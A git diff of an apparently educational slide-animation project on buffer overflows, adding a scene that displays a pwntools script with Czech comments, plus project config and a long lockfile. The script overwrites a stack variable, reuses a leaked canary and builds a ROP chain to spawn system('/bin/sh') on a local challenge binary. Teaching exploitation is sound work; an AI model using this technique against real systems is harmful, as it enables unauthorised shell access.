diff --git a/buffer-overflow/src/scenes/function-run.tsx b/buffer-overflow/src/scenes/function-run.tsx
index 431c0b9..48df18e 100644
--- a/buffer-overflow/src/scenes/function-run.tsx
+++ b/buffer-overflow/src/scenes/function-run.tsx
@@ -178,7 +178,7 @@ export default makeScene2D(function* (view) {
);
-
+
yield* all(
changeRsp && rsp(rsp() + 100, 1),
rectRef().height(100, 1),
diff --git a/buffer-overflow/src/scenes/overwriting-locals.tsx b/buffer-overflow/src/scenes/overwriting-locals.tsx
index 426c290..064a3bb 100644
--- a/buffer-overflow/src/scenes/overwriting-locals.tsx
+++ b/buffer-overflow/src/scenes/overwriting-locals.tsx
@@ -374,4 +374,51 @@ terminated by signal SIGSEGV (Address boundary error)`)}`
);
yield* beginSlide("Shell part3");
+
+ code().language("python")
+
+ code().code(`from pwn import *
+bin = ELF('./bin')
+libc = ELF('/usr/lib/libc.so.6')
+context.terminal = "kitty"
+context.arch = "amd64"
+
+# io = process('../challenges/hello')
+io = gdb.debug('../challenges/hello')
+
+io.recvuntil(b"name:")
+io.sendline(
+ flat({
+ (0x5c - 0x1c): p64(1) # zapise 1 na offset 0x5c-0x1c
+ })
+)
+
+io.recvuntil(b"Welcome ")
+
+rop = ROP(libc, base=(rsp - offset), badchars=b'\\n')
+rop.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\\x00"))])
+rop.call(libc.symbols['exit'], [0])
+
+# Vytvori ROP chain
+# Nejdriv zavola system s argumentem adresy
+# prvniho vyskytu /bin/sh uvnitr libc (system("/bin/sh"))
+# Pote zavola exit(0)
+
+io.sendline(flat({
+ 32: p32(0),
+ 40: p64(canary),
+ 64: rop.chain()
+}))
+
+io.interactive() # umozni interagovat s procesem
+`);
+
+ code().fontSize(24);
+
+ metaInfo().remove();
+ rect().remove();
+
+ yield* code().x(0, 1);
+
+ yield* beginSlide("pwntools part1");
});
\ No newline at end of file
diff --git a/pwntools/.gitignore b/pwntools/.gitignore
new file mode 100644
index 0000000..829b1c7
--- /dev/null
+++ b/pwntools/.gitignore
@@ -0,0 +1,15 @@
+# Generated files
+node_modules
+output
+dist
+
+# Editor directories and files
+.vscode/*
+!.vscode/extensions.json
+.idea
+.DS_Store
+*.suo
+*.ntvs*
+*.njsproj
+*.sln
+*.sw?
diff --git a/pwntools/package.json b/pwntools/package.json
new file mode 100644
index 0000000..fd2f5e1
--- /dev/null
+++ b/pwntools/package.json
@@ -0,0 +1,21 @@
+{
+ "name": "pwntools",
+ "private": true,
+ "version": "0.0.0",
+ "scripts": {
+ "start": "vite",
+ "serve": "vite",
+ "build": "tsc && vite build"
+ },
+ "dependencies": {
+ "@motion-canvas/core": "^3.14.1",
+ "@motion-canvas/2d": "^3.14.2",
+ "@motion-canvas/ffmpeg": "^1.1.0"
+ },
+ "devDependencies": {
+ "@motion-canvas/ui": "^3.14.2",
+ "@motion-canvas/vite-plugin": "^3.14.1",
+ "typescript": "^5.2.2",
+ "vite": "^4.0.0"
+ }
+}
\ No newline at end of file
diff --git a/pwntools/pnpm-lock.yaml b/pwntools/pnpm-lock.yaml
new file mode 100644
index 0000000..1cefed2
--- /dev/null
+++ b/pwntools/pnpm-lock.yaml
@@ -0,0 +1,770 @@
+lockfileVersion: '6.0'
+
+settings:
+ autoInstallPeers: true
+ excludeLinksFromLockfile: false
+
+dependencies:
+ '@motion-canvas/2d':
+ specifier: ^3.14.2
+ version: 3.14.2
+ '@motion-canvas/core':
+ specifier: ^3.14.1
+ version: 3.14.1
+ '@motion-canvas/ffmpeg':
+ specifier: ^1.1.0
+ version: 1.1.1(@motion-canvas/core@3.14.1)(@motion-canvas/vite-plugin@3.14.1)(vite@4.5.2)
+
+devDependencies:
+ '@motion-canvas/ui':
+ specifier: ^3.14.2
+ version: 3.14.2
+ '@motion-canvas/vite-plugin':
+ specifier: ^3.14.1
+ version: 3.14.1(vite@4.5.2)
+ typescript:
+ specifier: ^5.2.2
+ version: 5.3.3
+ vite:
+ specifier: ^4.0.0
+ version: 4.5.2
+
+packages:
+
+ /@esbuild/android-arm64@0.18.20:
+ resolution: {integrity: sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==}
+ engines: {node: '>=12'}
+ cpu: [arm64]
+ os: [android]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/android-arm@0.18.20:
+ resolution: {integrity: sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==}
+ engines: {node: '>=12'}
+ cpu: [arm]
+ os: [android]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/android-x64@0.18.20:
+ resolution: {integrity: sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==}
+ engines: {node: '>=12'}
+ cpu: [x64]
+ os: [android]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/darwin-arm64@0.18.20:
+ resolution: {integrity: sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==}
+ engines: {node: '>=12'}
+ cpu: [arm64]
+ os: [darwin]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/darwin-x64@0.18.20:
+ resolution: {integrity: sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==}
+ engines: {node: '>=12'}
+ cpu: [x64]
+ os: [darwin]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/freebsd-arm64@0.18.20:
+ resolution: {integrity: sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==}
+ engines: {node: '>=12'}
+ cpu: [arm64]
+ os: [freebsd]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/freebsd-x64@0.18.20:
+ resolution: {integrity: sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==}
+ engines: {node: '>=12'}
+ cpu: [x64]
+ os: [freebsd]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/linux-arm64@0.18.20:
+ resolution: {integrity: sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==}
+ engines: {node: '>=12'}
+ cpu: [arm64]
+ os: [linux]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/linux-arm@0.18.20:
+ resolution: {integrity: sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==}
+ engines: {node: '>=12'}
+ cpu: [arm]
+ os: [linux]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/linux-ia32@0.18.20:
+ resolution: {integrity: sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==}
+ engines: {node: '>=12'}
+ cpu: [ia32]
+ os: [linux]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/linux-loong64@0.18.20:
+ resolution: {integrity: sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==}
+ engines: {node: '>=12'}
+ cpu: [loong64]
+ os: [linux]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/linux-mips64el@0.18.20:
+ resolution: {integrity: sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==}
+ engines: {node: '>=12'}
+ cpu: [mips64el]
+ os: [linux]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/linux-ppc64@0.18.20:
+ resolution: {integrity: sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==}
+ engines: {node: '>=12'}
+ cpu: [ppc64]
+ os: [linux]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/linux-riscv64@0.18.20:
+ resolution: {integrity: sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==}
+ engines: {node: '>=12'}
+ cpu: [riscv64]
+ os: [linux]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/linux-s390x@0.18.20:
+ resolution: {integrity: sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==}
+ engines: {node: '>=12'}
+ cpu: [s390x]
+ os: [linux]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/linux-x64@0.18.20:
+ resolution: {integrity: sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==}
+ engines: {node: '>=12'}
+ cpu: [x64]
+ os: [linux]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/netbsd-x64@0.18.20:
+ resolution: {integrity: sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==}
+ engines: {node: '>=12'}
+ cpu: [x64]
+ os: [netbsd]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/openbsd-x64@0.18.20:
+ resolution: {integrity: sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==}
+ engines: {node: '>=12'}
+ cpu: [x64]
+ os: [openbsd]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/sunos-x64@0.18.20:
+ resolution: {integrity: sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==}
+ engines: {node: '>=12'}
+ cpu: [x64]
+ os: [sunos]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/win32-arm64@0.18.20:
+ resolution: {integrity: sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==}
+ engines: {node: '>=12'}
+ cpu: [arm64]
+ os: [win32]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/win32-ia32@0.18.20:
+ resolution: {integrity: sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==}
+ engines: {node: '>=12'}
+ cpu: [ia32]
+ os: [win32]
+ requiresBuild: true
+ optional: true
+
+ /@esbuild/win32-x64@0.18.20:
+ resolution: {integrity: sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==}
+ engines: {node: '>=12'}
+ cpu: [x64]
+ os: [win32]
+ requiresBuild: true
+ optional: true
+
+ /@ffmpeg-installer/darwin-arm64@4.1.5:
+ resolution: {integrity: sha512-hYqTiP63mXz7wSQfuqfFwfLOfwwFChUedeCVKkBtl/cliaTM7/ePI9bVzfZ2c+dWu3TqCwLDRWNSJ5pqZl8otA==}
+ cpu: [arm64]
+ os: [darwin]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffmpeg-installer/darwin-x64@4.1.0:
+ resolution: {integrity: sha512-Z4EyG3cIFjdhlY8wI9aLUXuH8nVt7E9SlMVZtWvSPnm2sm37/yC2CwjUzyCQbJbySnef1tQwGG2Sx+uWhd9IAw==}
+ cpu: [x64]
+ os: [darwin]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffmpeg-installer/ffmpeg@1.1.0:
+ resolution: {integrity: sha512-Uq4rmwkdGxIa9A6Bd/VqqYbT7zqh1GrT5/rFwCwKM70b42W5gIjWeVETq6SdcL0zXqDtY081Ws/iJWhr1+xvQg==}
+ optionalDependencies:
+ '@ffmpeg-installer/darwin-arm64': 4.1.5
+ '@ffmpeg-installer/darwin-x64': 4.1.0
+ '@ffmpeg-installer/linux-arm': 4.1.3
+ '@ffmpeg-installer/linux-arm64': 4.1.4
+ '@ffmpeg-installer/linux-ia32': 4.1.0
+ '@ffmpeg-installer/linux-x64': 4.1.0
+ '@ffmpeg-installer/win32-ia32': 4.1.0
+ '@ffmpeg-installer/win32-x64': 4.1.0
+ dev: false
+
+ /@ffmpeg-installer/linux-arm64@4.1.4:
+ resolution: {integrity: sha512-dljEqAOD0oIM6O6DxBW9US/FkvqvQwgJ2lGHOwHDDwu/pX8+V0YsDL1xqHbj1DMX/+nP9rxw7G7gcUvGspSoKg==}
+ cpu: [arm64]
+ os: [linux]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffmpeg-installer/linux-arm@4.1.3:
+ resolution: {integrity: sha512-NDf5V6l8AfzZ8WzUGZ5mV8O/xMzRag2ETR6+TlGIsMHp81agx51cqpPItXPib/nAZYmo55Bl2L6/WOMI3A5YRg==}
+ cpu: [arm]
+ os: [linux]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffmpeg-installer/linux-ia32@4.1.0:
+ resolution: {integrity: sha512-0LWyFQnPf+Ij9GQGD034hS6A90URNu9HCtQ5cTqo5MxOEc7Rd8gLXrJvn++UmxhU0J5RyRE9KRYstdCVUjkNOQ==}
+ cpu: [ia32]
+ os: [linux]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffmpeg-installer/linux-x64@4.1.0:
+ resolution: {integrity: sha512-Y5BWhGLU/WpQjOArNIgXD3z5mxxdV8c41C+U15nsE5yF8tVcdCGet5zPs5Zy3Ta6bU7haGpIzryutqCGQA/W8A==}
+ cpu: [x64]
+ os: [linux]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffmpeg-installer/win32-ia32@4.1.0:
+ resolution: {integrity: sha512-FV2D7RlaZv/lrtdhaQ4oETwoFUsUjlUiasiZLDxhEUPdNDWcH1OU9K1xTvqz+OXLdsmYelUDuBS/zkMOTtlUAw==}
+ cpu: [ia32]
+ os: [win32]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffmpeg-installer/win32-x64@4.1.0:
+ resolution: {integrity: sha512-Drt5u2vzDnIONf4ZEkKtFlbvwj6rI3kxw1Ck9fpudmtgaZIHD4ucsWB2lCZBXRxJgXR+2IMSti+4rtM4C4rXgg==}
+ cpu: [x64]
+ os: [win32]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffprobe-installer/darwin-arm64@5.0.1:
+ resolution: {integrity: sha512-vwNCNjokH8hfkbl6m95zICHwkSzhEvDC3GVBcUp5HX8+4wsX10SP3B+bGur7XUzTIZ4cQpgJmEIAx6TUwRepMg==}
+ cpu: [arm64]
+ os: [darwin]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffprobe-installer/darwin-x64@5.1.0:
+ resolution: {integrity: sha512-J+YGscZMpQclFg31O4cfVRGmDpkVsQ2fZujoUdMAAYcP0NtqpC49Hs3SWJpBdsGB4VeqOt5TTm1vSZQzs1NkhA==}
+ cpu: [x64]
+ os: [darwin]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffprobe-installer/ffprobe@2.1.2:
+ resolution: {integrity: sha512-ZNvwk4f2magF42Zji2Ese16SMj9BS7Fui4kRjg6gTYTxY3gWZNpg85n4MIfQyI9nimHg4x/gT6FVkp/bBDuBwg==}
+ engines: {node: '>=14.21.2'}
+ optionalDependencies:
+ '@ffprobe-installer/darwin-arm64': 5.0.1
+ '@ffprobe-installer/darwin-x64': 5.1.0
+ '@ffprobe-installer/linux-arm': 5.2.0
+ '@ffprobe-installer/linux-arm64': 5.2.0
+ '@ffprobe-installer/linux-ia32': 5.2.0
+ '@ffprobe-installer/linux-x64': 5.2.0
+ '@ffprobe-installer/win32-ia32': 5.1.0
+ '@ffprobe-installer/win32-x64': 5.1.0
+ dev: false
+
+ /@ffprobe-installer/linux-arm64@5.2.0:
+ resolution: {integrity: sha512-X1VvWtlLs6ScP73biVLuHD5ohKJKsMTa0vafCESOen4mOoNeLAYbxOVxDWAdFz9cpZgRiloFj5QD6nDj8E28yQ==}
+ cpu: [arm64]
+ os: [linux]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffprobe-installer/linux-arm@5.2.0:
+ resolution: {integrity: sha512-PF5HqEhCY7WTWHtLDYbA/+rLS+rhslWvyBlAG1Fk8VzVlnRdl93o6hy7DE2kJgxWQbFaR3ZktPQGEzfkrmQHvQ==}
+ cpu: [arm]
+ os: [linux]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffprobe-installer/linux-ia32@5.2.0:
+ resolution: {integrity: sha512-TFVK5sasXyXhbIG7LtPRDmtkrkOsInwKcL43iEvEw+D9vCS2rc//mn9/0Q+BR0UoJEiMK4+ApYr/3LLVUBPOCQ==}
+ cpu: [ia32]
+ os: [linux]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffprobe-installer/linux-x64@5.2.0:
+ resolution: {integrity: sha512-D3UeqTLYPNs7pBWPLUYGehPdRVqU8eACox4OZy3pZUZatxye2YKlvBwEfaLdL1v2Z4FOAlLUhms0kY8m8kqSRA==}
+ cpu: [x64]
+ os: [linux]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffprobe-installer/win32-ia32@5.1.0:
+ resolution: {integrity: sha512-5O3vOoNRxmut0/Nu9vSazTdSHasrr+zPT2B3Hm7kjmO3QVFcIfVImS6ReQnZeSy8JPJOqXts5kX5x/3KOX54XQ==}
+ cpu: [ia32]
+ os: [win32]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@ffprobe-installer/win32-x64@5.1.0:
+ resolution: {integrity: sha512-jMGYeAgkrdn4e2vvYt/qakgHRE3CPju4bn5TmdPfoAm1BlX1mY9cyMd8gf5vSzI8gH8Zq5WQAyAkmekX/8TSTg==}
+ cpu: [x64]
+ os: [win32]
+ requiresBuild: true
+ dev: false
+ optional: true
+
+ /@motion-canvas/2d@3.14.2:
+ resolution: {integrity: sha512-SaOU0gL9RjUsIRCwNwPo/DLvcLKNPfVylfUcynSocOE6bSjsHrd8ZVNumf4X9Bedf9dxajrWf44eMBNCLQpJyg==}
+ dependencies:
+ '@motion-canvas/core': 3.14.1
+ code-fns: 0.8.2
+ mathjax-full: 3.2.2
+ parse-svg-path: 0.1.2
+ dev: false
+
+ /@motion-canvas/core@3.14.1:
+ resolution: {integrity: sha512-1rEys/mOa1WwUttAeHOQwDoLDcVNsFhNIO6YDVTzEGWYMGhHavEsVWdWD8YaDRbBkcHwd1uLKtIahyjERzBnjw==}
+ dependencies:
+ '@types/chroma-js': 2.4.4
+ chroma-js: 2.4.2
+
+ /@motion-canvas/ffmpeg@1.1.1(@motion-canvas/core@3.14.1)(@motion-canvas/vite-plugin@3.14.1)(vite@4.5.2):
+ resolution: {integrity: sha512-w2d7oFfR3hYHXeYtFGoHp6goY+vVL0LoZ2h1b/veTH5KvE7jrLp2Kl/XPHsYJ5ZDRHUT0Nhl05DBLdXYqdSqgg==}
+ peerDependencies:
+ '@motion-canvas/core': ^3.7.0
+ '@motion-canvas/vite-plugin': ^3.7.0
+ vite: 4.x
+ dependencies:
+ '@ffmpeg-installer/ffmpeg': 1.1.0
+ '@ffprobe-installer/ffprobe': 2.1.2
+ '@motion-canvas/core': 3.14.1
+ '@motion-canvas/vite-plugin': 3.14.1(vite@4.5.2)
+ fluent-ffmpeg: 2.1.2
+ vite: 4.5.2
+ dev: false
+
+ /@motion-canvas/ui@3.14.2:
+ resolution: {integrity: sha512-5KujeAd+cE88ZTLlnAzvSkKvRx87z/NhBYZo5PLIls2+Z/LdllEvhiEaZfGJuXz8ZZ0f93osDrQmlpB4LI+V7Q==}
+ dependencies:
+ '@motion-canvas/core': 3.14.1
+ '@preact/signals': 1.2.2(preact@10.19.4)
+ preact: 10.19.4
+ dev: true
+
+ /@motion-canvas/vite-plugin@3.14.1(vite@4.5.2):
+ resolution: {integrity: sha512-INkDrLmGRLwXlVrHSo7LMbORimYkxlE2DnBnuRdkHF6JeTxeUU+KtHTSW+vTg55cwEz2UykIIW2Tc0KicOU11Q==}
+ peerDependencies:
+ vite: 4.x || 5.x
+ dependencies:
+ fast-glob: 3.3.2
+ follow-redirects: 1.15.5
+ mime-types: 2.1.35
+ source-map: 0.6.1
+ vite: 4.5.2
+ transitivePeerDependencies:
+ - debug
+
+ /@nodelib/fs.scandir@2.1.5:
+ resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==}
+ engines: {node: '>= 8'}
+ dependencies:
+ '@nodelib/fs.stat': 2.0.5
+ run-parallel: 1.2.0
+
+ /@nodelib/fs.stat@2.0.5:
+ resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==}
+ engines: {node: '>= 8'}
+
+ /@nodelib/fs.walk@1.2.8:
+ resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==}
+ engines: {node: '>= 8'}
+ dependencies:
+ '@nodelib/fs.scandir': 2.1.5
+ fastq: 1.17.1
+
+ /@preact/signals-core@1.5.1:
+ resolution: {integrity: sha512-dE6f+WCX5ZUDwXzUIWNMhhglmuLpqJhuy3X3xHrhZYI0Hm2LyQwOu0l9mdPiWrVNsE+Q7txOnJPgtIqHCYoBVA==}
+ dev: true
+
+ /@preact/signals@1.2.2(preact@10.19.4):
+ resolution: {integrity: sha512-ColCqdo4cRP18bAuIR4Oik5rDpiyFtPIJIygaYPMEAwTnl4buWkBOflGBSzhYyPyJfKpkwlekrvK+1pzQ2ldWw==}
+ peerDependencies:
+ preact: 10.x
+ dependencies:
+ '@preact/signals-core': 1.5.1
+ preact: 10.19.4
+ dev: true
+
+ /@types/chroma-js@2.4.4:
+ resolution: {integrity: sha512-/DTccpHTaKomqussrn+ciEvfW4k6NAHzNzs/sts1TCqg333qNxOhy8TNIoQCmbGG3Tl8KdEhkGAssb1n3mTXiQ==}
+
+ /@types/hast@2.3.10:
+ resolution: {integrity: sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==}
+ dependencies:
+ '@types/unist': 2.0.10
+ dev: false
+
+ /@types/unist@2.0.10:
+ resolution: {integrity: sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA==}
+ dev: false
+
+ /@wooorm/starry-night@1.7.0:
+ resolution: {integrity: sha512-ktO0nkddrovIoNW2jAUT+Cdd9n1bWjy1Ir4CdcmgTaT6E94HLlQfu7Yv62falclBEwvsuVp3bSBw23wtta1fNw==}
+ dependencies:
+ '@types/hast': 2.3.10
+ import-meta-resolve: 2.2.2
+ vscode-oniguruma: 1.7.0
+ vscode-textmate: 9.0.0
+ dev: false
+
+ /async@3.2.5:
+ resolution: {integrity: sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg==}
+ dev: false
+
+ /braces@3.0.2:
+ resolution: {integrity: sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==}
+ engines: {node: '>=8'}
+ dependencies:
+ fill-range: 7.0.1
+
+ /chroma-js@2.4.2:
+ resolution: {integrity: sha512-U9eDw6+wt7V8z5NncY2jJfZa+hUH8XEj8FQHgFJTrUFnJfXYf4Ml4adI2vXZOjqRDpFWtYVWypDfZwnJ+HIR4A==}
+
+ /code-fns@0.8.2:
+ resolution: {integrity: sha512-3VVeq3cnWxWiWKFLsVo+XWsOXBSW2gAx2uv0ViETLNmNuygEPHlCeDAv/Zy7xXqPgXtgLZyvIJZmx+ojTgOIGA==}
+ dependencies:
+ '@wooorm/starry-night': 1.7.0
+ dev: false
+
+ /commander@9.2.0:
+ resolution: {integrity: sha512-e2i4wANQiSXgnrBlIatyHtP1odfUp0BbV5Y5nEGbxtIrStkEOAAzCUirvLBNXHLr7kwLvJl6V+4V3XV9x7Wd9w==}
+ engines: {node: ^12.20.0 || >=14}
+ dev: false
+
+ /esbuild@0.18.20:
+ resolution: {integrity: sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==}
+ engines: {node: '>=12'}
+ hasBin: true
+ requiresBuild: true
+ optionalDependencies:
+ '@esbuild/android-arm': 0.18.20
+ '@esbuild/android-arm64': 0.18.20
+ '@esbuild/android-x64': 0.18.20
+ '@esbuild/darwin-arm64': 0.18.20
+ '@esbuild/darwin-x64': 0.18.20
+ '@esbuild/freebsd-arm64': 0.18.20
+ '@esbuild/freebsd-x64': 0.18.20
+ '@esbuild/linux-arm': 0.18.20
+ '@esbuild/linux-arm64': 0.18.20
+ '@esbuild/linux-ia32': 0.18.20
+ '@esbuild/linux-loong64': 0.18.20
+ '@esbuild/linux-mips64el': 0.18.20
+ '@esbuild/linux-ppc64': 0.18.20
+ '@esbuild/linux-riscv64': 0.18.20
+ '@esbuild/linux-s390x': 0.18.20
+ '@esbuild/linux-x64': 0.18.20
+ '@esbuild/netbsd-x64': 0.18.20
+ '@esbuild/openbsd-x64': 0.18.20
+ '@esbuild/sunos-x64': 0.18.20
+ '@esbuild/win32-arm64': 0.18.20
+ '@esbuild/win32-ia32': 0.18.20
+ '@esbuild/win32-x64': 0.18.20
+
+ /esm@3.2.25:
+ resolution: {integrity: sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==}
+ engines: {node: '>=6'}
+ dev: false
+
+ /fast-glob@3.3.2:
+ resolution: {integrity: sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==}
+ engines: {node: '>=8.6.0'}
+ dependencies:
+ '@nodelib/fs.stat': 2.0.5
+ '@nodelib/fs.walk': 1.2.8
+ glob-parent: 5.1.2
+ merge2: 1.4.1
+ micromatch: 4.0.5
+
+ /fastq@1.17.1:
+ resolution: {integrity: sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==}
+ dependencies:
+ reusify: 1.0.4
+
+ /fill-range@7.0.1:
+ resolution: {integrity: sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==}
+ engines: {node: '>=8'}
+ dependencies:
+ to-regex-range: 5.0.1
+
+ /fluent-ffmpeg@2.1.2:
+ resolution: {integrity: sha512-IZTB4kq5GK0DPp7sGQ0q/BWurGHffRtQQwVkiqDgeO6wYJLLV5ZhgNOQ65loZxxuPMKZKZcICCUnaGtlxBiR0Q==}
+ engines: {node: '>=0.8.0'}
+ dependencies:
+ async: 3.2.5
+ which: 1.3.1
+ dev: false
+
+ /follow-redirects@1.15.5:
+ resolution: {integrity: sha512-vSFWUON1B+yAw1VN4xMfxgn5fTUiaOzAJCKBwIIgT/+7CuGy9+r+5gITvP62j3RmaD5Ph65UaERdOSRGUzZtgw==}
+ engines: {node: '>=4.0'}
+ peerDependencies:
+ debug: '*'
+ peerDependenciesMeta:
+ debug:
+ optional: true
+
+ /fsevents@2.3.3:
+ resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==}
+ engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
+ os: [darwin]
+ requiresBuild: true
+ optional: true
+
+ /glob-parent@5.1.2:
+ resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==}
+ engines: {node: '>= 6'}
+ dependencies:
+ is-glob: 4.0.3
+
+ /import-meta-resolve@2.2.2:
